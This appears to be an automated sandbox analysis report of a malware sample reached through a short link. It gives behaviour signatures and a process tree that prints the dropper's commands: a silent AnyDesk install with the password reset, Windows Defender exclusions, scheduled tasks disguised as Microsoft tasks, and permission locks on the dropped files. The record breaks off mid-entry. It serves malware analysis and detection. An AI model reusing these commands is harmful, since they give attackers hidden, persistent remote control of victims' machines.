Analysis

  • max time kernel
    475s
  • max time network
    475s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04-10-2024 03:16

General

  • Target

    http://rb.gy/g44izl

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Disables Task Manager via registry modification
  • Downloads MZ/PE file
  • Possible privilege escalation attempt 26 IoCs
  • Checks computer location settings 2 TTPs 5 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 18 IoCs
  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 26 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in System32 directory 21 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 1 IoCs
  • Modifies registry class 25 IoCs
  • Modifies registry key 1 TTPs 5 IoCs
  • NTFS ADS 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 47 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 39 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://rb.gy/g44izl
    1⤵
    • Enumerates system info in registry
    • Modifies registry class
    • NTFS ADS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:4088
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9cc5346f8,0x7ff9cc534708,0x7ff9cc534718
      2⤵
        PID:1836
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2136 /prefetch:2
        2⤵
          PID:4936
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2224 /prefetch:3
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:4848
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2852 /prefetch:8
          2⤵
            PID:3288
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3216 /prefetch:1
            2⤵
              PID:2120
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3260 /prefetch:1
              2⤵
                PID:2596
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5036 /prefetch:1
                2⤵
                  PID:4968
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5248 /prefetch:8
                  2⤵
                    PID:3980
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=3476 /prefetch:8
                    2⤵
                    • Modifies registry class
                    • Suspicious behavior: EnumeratesProcesses
                    PID:672
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=media.mojom.MediaFoundationService --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --service-sandbox-type=mf_cdm --mojo-platform-channel-handle=3544 /prefetch:8
                    2⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1324
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4476 /prefetch:1
                    2⤵
                      PID:1796
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4104 /prefetch:8
                      2⤵
                        PID:4700
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4316 /prefetch:1
                        2⤵
                          PID:3612
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5808 /prefetch:8
                          2⤵
                            PID:220
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5692 /prefetch:1
                            2⤵
                              PID:3120
                            • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5088 /prefetch:8
                              2⤵
                                PID:4004
                              • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5088 /prefetch:8
                                2⤵
                                • Suspicious behavior: EnumeratesProcesses
                                PID:720
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5704 /prefetch:1
                                2⤵
                                  PID:2008
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5316 /prefetch:1
                                  2⤵
                                    PID:1116
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6068 /prefetch:1
                                    2⤵
                                      PID:4040
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4524 /prefetch:1
                                      2⤵
                                        PID:2328
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5308 /prefetch:1
                                        2⤵
                                          PID:4532
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5020 /prefetch:1
                                          2⤵
                                            PID:2508
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5492 /prefetch:8
                                            2⤵
                                              PID:2268
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6008 /prefetch:1
                                              2⤵
                                                PID:2556
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6612 /prefetch:8
                                                2⤵
                                                  PID:1508
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7012 /prefetch:8
                                                  2⤵
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  PID:4564
                                                • C:\Users\Admin\Downloads\Goonscript.exe
                                                  "C:\Users\Admin\Downloads\Goonscript.exe"
                                                  2⤵
                                                  • Checks computer location settings
                                                  • Executes dropped EXE
                                                  • Suspicious use of SetWindowsHookEx
                                                  PID:1988
                                                  • C:\Windows\system32\wscript.exe
                                                    "C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\4987.tmp\4988.tmp\4989.vbs //Nologo
                                                    3⤵
                                                    • Checks computer location settings
                                                    • Modifies registry class
                                                    PID:4360
                                                    • C:\Users\Admin\AppData\Roaming\doorbell-upd6.exe
                                                      "C:\Users\Admin\AppData\Roaming\doorbell-upd6.exe"
                                                      4⤵
                                                      • Checks computer location settings
                                                      • Executes dropped EXE
                                                      PID:4420
                                                      • C:\Windows\system32\cmd.exe
                                                        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\4C08.tmp\4C09.tmp\4C0A.bat C:\Users\Admin\AppData\Roaming\doorbell-upd6.exe"
                                                        5⤵
                                                          PID:4740
                                                          • C:\Windows\system32\takeown.exe
                                                            takeown /f "C:\programdata\stn.exe"
                                                            6⤵
                                                            • Possible privilege escalation attempt
                                                            • Modifies file permissions
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:3584
                                                          • C:\Windows\system32\icacls.exe
                                                            icacls "C:\programdata\stn.exe" /reset
                                                            6⤵
                                                            • Possible privilege escalation attempt
                                                            • Modifies file permissions
                                                            PID:5144
                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell -c rm "C:\programdata\stn.exe" -r -force
                                                            6⤵
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:5164
                                                          • \??\c:\users\Admin\downloads\AnyDesk.exe
                                                            "c:/users/Admin/downloads/Anydesk.exe" --install "C:\ProgramData" --silent
                                                            6⤵
                                                            • Executes dropped EXE
                                                            • System Location Discovery: System Language Discovery
                                                            • Modifies registry class
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            PID:5292
                                                            • \??\c:\users\Admin\downloads\AnyDesk.exe
                                                              "c:\users\Admin\downloads\AnyDesk.exe" --local-service
                                                              7⤵
                                                              • Executes dropped EXE
                                                              • System Location Discovery: System Language Discovery
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              PID:5344
                                                            • \??\c:\users\Admin\downloads\AnyDesk.exe
                                                              "c:\users\Admin\downloads\AnyDesk.exe" --local-control
                                                              7⤵
                                                              • Executes dropped EXE
                                                              • System Location Discovery: System Language Discovery
                                                              • Suspicious use of FindShellTrayWindow
                                                              • Suspicious use of SendNotifyMessage
                                                              PID:5360
                                                          • C:\ProgramData\AnyDesk.exe
                                                            "C:\ProgramData/Anydesk.exe" --remove-password
                                                            6⤵
                                                            • Executes dropped EXE
                                                            • System Location Discovery: System Language Discovery
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            PID:6072
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /S /D /c" echo DinaOwnsMe "
                                                            6⤵
                                                              PID:5480
                                                            • C:\ProgramData\AnyDesk.exe
                                                              "C:\ProgramData/Anydesk.exe" --set-password
                                                              6⤵
                                                              • Executes dropped EXE
                                                              • System Location Discovery: System Language Discovery
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              PID:5616
                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell -c Copy-Item "c:/users/Admin/downloads/stn.exe" -Destination "C:\ProgramData" -r -force
                                                              6⤵
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:5636
                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell -c Copy-Item "c:/users/Admin/downloads/svchost.exe" -Destination "C:\ProgramData" -r -force
                                                              6⤵
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:4556
                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell -c Copy-Item "c:/users/Admin/downloads/conhost.exe" -Destination "C:\ProgramData" -r -force
                                                              6⤵
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:4644
                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell -c Copy-Item "c:/users/Admin/downloads/Anydesk.exe" -Destination "C:\ProgramData" -r -force
                                                              6⤵
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:5264
                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell -c rm "c:/users/Admin/downloads/stn.exe" -r -force
                                                              6⤵
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:5208
                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell -c rm "c:/users/Admin/downloads/svchost.exe" -r -force
                                                              6⤵
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:5492
                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell -c rm "c:/users/Admin/downloads/Anydesk.exe" -r -force
                                                              6⤵
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:2204
                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell -c rm "c:/users/Admin/downloads/conhost.exe" -r -force
                                                              6⤵
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:1928
                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell -Command Add-MpPreference -ExclusionPath "C:\ProgramData"
                                                              6⤵
                                                              • Command and Scripting Interpreter: PowerShell
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:2556
                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell -Command Add-MpPreference -ExclusionProcess "C:\ProgramData/stn.exe"
                                                              6⤵
                                                              • Command and Scripting Interpreter: PowerShell
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:1880
                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell -Command Add-MpPreference -ExclusionProcess "C:\ProgramData/svchost.exe"
                                                              6⤵
                                                              • Command and Scripting Interpreter: PowerShell
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:5672
                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell -Command Add-MpPreference -ExclusionProcess "C:\ProgramData/conhost.exe"
                                                              6⤵
                                                              • Command and Scripting Interpreter: PowerShell
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:768
                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell -Command Add-MpPreference -ExclusionProcess "C:\ProgramData/Anydesk.exe"
                                                              6⤵
                                                              • Command and Scripting Interpreter: PowerShell
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:5492
                                                            • C:\Windows\system32\schtasks.exe
                                                              schtasks /Create /TN SystemTaskNavigator /TR "C:\ProgramData\stn.exe" /RL highest /SC ONLOGON /F
                                                              6⤵
                                                              • Scheduled Task/Job: Scheduled Task
                                                              PID:5672
                                                            • C:\Windows\system32\schtasks.exe
                                                              schtasks /Create /TN MicrosoftEdgeUpdateTaskList /TR "C:\ProgramData\Anydesk.exe" /RL highest /SC ONLOGON /RU SYSTEM /F
                                                              6⤵
                                                              • Scheduled Task/Job: Scheduled Task
                                                              PID:3372
                                                            • C:\Windows\system32\schtasks.exe
                                                              schtasks /Create /TN OneDriveTaskReport /TR "C:\ProgramData\svchost.exe" /RL highest /SC ONLOGON /RU SYSTEM /F
                                                              6⤵
                                                              • Scheduled Task/Job: Scheduled Task
                                                              PID:5792
                                                            • C:\Windows\system32\schtasks.exe
                                                              schtasks /Create /TN MicrosoftUpdateScheduler /TR "C:\ProgramData\conhost.exe" /RL highest /SC ONLOGON /RU SYSTEM /F
                                                              6⤵
                                                              • Scheduled Task/Job: Scheduled Task
                                                              PID:2328
                                                            • C:\Windows\system32\schtasks.exe
                                                              schtasks /run /tn "MicrosoftEdgeUpdateTaskList"
                                                              6⤵
                                                                PID:4860
                                                              • C:\Windows\system32\schtasks.exe
                                                                schtasks /run /tn "SystemTaskNavigator"
                                                                6⤵
                                                                  PID:4572
                                                                • C:\Windows\system32\attrib.exe
                                                                  attrib +r +s "C:\ProgramData/stn.exe"
                                                                  6⤵
                                                                  • Views/modifies file attributes
                                                                  PID:2628
                                                                • C:\Windows\system32\icacls.exe
                                                                  icacls "C:\ProgramData/stn.exe" /setowner "SYSTEM"
                                                                  6⤵
                                                                  • Possible privilege escalation attempt
                                                                  • Modifies file permissions
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:5896
                                                                • C:\Windows\system32\icacls.exe
                                                                  icacls "C:\ProgramData/stn.exe" /inheritance:r /grant:r Everyone:RX /deny Everyone:(DE,WO,WDAC)
                                                                  6⤵
                                                                  • Possible privilege escalation attempt
                                                                  • Modifies file permissions
                                                                  PID:5856
                                                                • C:\Windows\system32\attrib.exe
                                                                  attrib +r +s "C:\ProgramData/Anydesk.exe"
                                                                  6⤵
                                                                  • Views/modifies file attributes
                                                                  PID:5220
                                                                • C:\Windows\system32\icacls.exe
                                                                  icacls "C:\ProgramData/anydesk.exe" /setowner "SYSTEM"
                                                                  6⤵
                                                                  • Possible privilege escalation attempt
                                                                  • Modifies file permissions
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:2556
                                                                • C:\Windows\system32\icacls.exe
                                                                  icacls "C:\ProgramData/anydesk.exe" /inheritance:r /grant:r Everyone:RX /deny Everyone:(DE,WO,WDAC)
                                                                  6⤵
                                                                  • Possible privilege escalation attempt
                                                                  • Modifies file permissions
                                                                  PID:5424
                                                                • C:\Windows\system32\attrib.exe
                                                                  attrib +r +s "C:\ProgramData/svchost.exe"
                                                                  6⤵
                                                                  • Views/modifies file attributes
                                                                  PID:1796
                                                                • C:\Windows\system32\icacls.exe
                                                                  icacls "C:\ProgramData/svchost.exe" /setowner "SYSTEM"
                                                                  6⤵
                                                                  • Possible privilege escalation attempt
                                                                  • Modifies file permissions
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:6104
                                                                • C:\Windows\system32\icacls.exe
                                                                  icacls "C:\ProgramData/svchost.exe" /inheritance:r /grant:r Everyone:RX /deny Everyone:(DE,WO,WDAC)
                                                                  6⤵
                                                                  • Possible privilege escalation attempt
                                                                  • Modifies file permissions
                                                                  PID:4076
                                                                • C:\Windows\system32\attrib.exe
                                                                  attrib +r +s "C:\ProgramData/conhost.exe"
                                                                  6⤵
                                                                  • Views/modifies file attributes
                                                                  PID:5272
                                                                • C:\Windows\system32\icacls.exe
                                                                  icacls "C:\ProgramData/conhost.exe" /setowner "SYSTEM"
                                                                  6⤵
                                                                  • Possible privilege escalation attempt
                                                                  • Modifies file permissions
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:3336
                                                                • C:\Windows\system32\icacls.exe
                                                                  icacls "C:\ProgramData/conhost.exe" /inheritance:r /grant:r Everyone:RX /deny Everyone:(DE,WO,WDAC)
                                                                  6⤵
                                                                  • Possible privilege escalation attempt
                                                                  • Modifies file permissions
                                                                  PID:2720
                                                                • C:\Windows\system32\attrib.exe
                                                                  attrib +r +s "C:\ProgramData/stn.exe"
                                                                  6⤵
                                                                  • Views/modifies file attributes
                                                                  PID:5200
                                                                • C:\Windows\system32\icacls.exe
                                                                  icacls "C:\ProgramData/stn.exe" /setowner "SYSTEM"
                                                                  6⤵
                                                                  • Possible privilege escalation attempt
                                                                  • Modifies file permissions
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:5808
                                                                • C:\Windows\system32\icacls.exe
                                                                  icacls "C:\ProgramData/stn.exe" /inheritance:r /grant:r Admin:RX /deny Admin:(DE,WO,WDAC)
                                                                  6⤵
                                                                  • Possible privilege escalation attempt
                                                                  • Modifies file permissions
                                                                  PID:1880
                                                                • C:\Windows\system32\attrib.exe
                                                                  attrib +r +s "C:\ProgramData/Anydesk.exe"
                                                                  6⤵
                                                                  • Views/modifies file attributes
                                                                  PID:5712
                                                                • C:\Windows\system32\icacls.exe
                                                                  icacls "C:\ProgramData/anydesk.exe" /setowner "SYSTEM"
                                                                  6⤵
                                                                  • Possible privilege escalation attempt
                                                                  • Modifies file permissions
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:4680
                                                                • C:\Windows\system32\icacls.exe
                                                                  icacls "C:\ProgramData/anydesk.exe" /inheritance:r /grant:r Admin:RX /deny Admin:(DE,WO,WDAC)
                                                                  6⤵
                                                                  • Possible privilege escalation attempt
                                                                  • Modifies file permissions
                                                                  PID:5792
                                                                • C:\Windows\system32\attrib.exe
                                                                  attrib +r +s "C:\ProgramData/svchost.exe"
                                                                  6⤵
                                                                  • Views/modifies file attributes
                                                                  PID:2276
                                                                • C:\Windows\system32\icacls.exe
                                                                  icacls "C:\ProgramData/svchost.exe" /setowner "SYSTEM"
                                                                  6⤵
                                                                  • Possible privilege escalation attempt
                                                                  • Modifies file permissions
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:5132
                                                                • C:\Windows\system32\icacls.exe
                                                                  icacls "C:\ProgramData/svchost.exe" /inheritance:r /grant:r Admin:RX /deny Admin:(DE,WO,WDAC)
                                                                  6⤵
                                                                  • Possible privilege escalation attempt
                                                                  • Modifies file permissions
                                                                  PID:4556
                                                                • C:\Windows\system32\attrib.exe
                                                                  attrib +r +s "C:\ProgramData/conhost.exe"
                                                                  6⤵
                                                                  • Views/modifies file attributes
                                                                  PID:5896
                                                                • C:\Windows\system32\icacls.exe
                                                                  icacls "C:\ProgramData/conhost.exe" /setowner "SYSTEM"
                                                                  6⤵
                                                                  • Possible privilege escalation attempt
                                                                  • Modifies file permissions
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:6060
                                                                • C:\Windows\system32\icacls.exe
